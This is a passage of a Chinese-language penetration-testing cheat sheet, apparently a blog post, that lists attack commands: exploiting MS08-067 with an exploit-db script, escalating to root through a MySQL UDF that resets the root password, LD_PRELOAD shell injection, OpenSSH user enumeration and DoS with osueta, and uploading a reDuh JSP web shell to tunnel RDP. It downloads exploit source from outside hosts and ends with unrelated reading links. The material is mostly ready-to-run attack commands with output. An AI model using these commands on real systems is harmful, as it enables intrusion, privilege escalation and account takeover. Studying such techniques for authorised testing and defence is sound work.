    http://www.heise.de/download/pwdump.html 
    # we can try online hash cracking tools such crackstation.net

    MS08-067 --- 不使用 Metasploit

    $ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
    $ searchsploit ms08-067
    $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

    通过 MySQL Root 账户实现提权

    # Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
    $ wget 0xdeadbeef.info/exploits/raptor_udf2.c
    $ gcc -g -c raptor_udf2.c
    $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
    mysql -u root -p
    mysql> use mysql;
    mysql> create table foo(line blob);
    mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
    mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
    mysql> create function do_system returns integer soname 'raptor_udf2.so';
    mysql> select * from mysql.func;
    mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
     
    user:~$ su -
    Password:
    user:~# whoami
    root
    root:~# id
    uid=0(root) gid=0(root) groups=0(root)

    使用 LD_PRELOAD 注入程序

    【Linux】LD_PRELOAD用法:https://blog.csdn.net/iEearth/article/details/49952047

    $ wget https://github.com/jivoi/pentest/ldpreload_shell.c
    $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
    $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

    针对 OpenSSH 用户进行枚举时序攻击

    注:枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。–参考自 shotgun 在知乎上的解释。

    osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。

    # https://github.com/c0r3dump3d/osueta
    $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
    $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

    使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道

    注: ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

    ReDuh-Gui 号称端口转发神器。

    # https://github.com/sensepost/reDuh
     
    # 步骤 1
    # 上传 reDuh.jsp 目标服务器
    $ http://192.168.10.50/uploads/reDuh.jsp
     
    # 步骤 2
    # 在本机运行 reDuhClient 
    $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
     
    # 步骤 3
    # 使用 nc 连接管理端口
    $ nc -nvv 127.0.0.1 1010
     
    # 步骤 4
    # 使用隧道转发本地端口到远程目标端口
    [createTunnel] 7777:172.16.0.4:3389
     
    # 步骤 5
    # 使用 RDP 连接远程
    $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

  • 相关阅读:
    景联文科技:AI大模型强势赋能,助力自动驾驶迭代升级
    Docker版iServer新手入门教程
    Unicode和UTF-8的关系
    医院管理系统详细设计说明书
    解析优化机器人课程体系与教学策略
    本地web服务器配置(IIS)
    echarts 轴文字内容太长导致显示不全解决方案
    STM32嵌入式工程师自我修养
    浅尝Spring注解开发_Servlet3.0与SpringMVC
    TCP 拥塞控制
  • 原文地址:https://blog.csdn.net/freeking101/article/details/125298664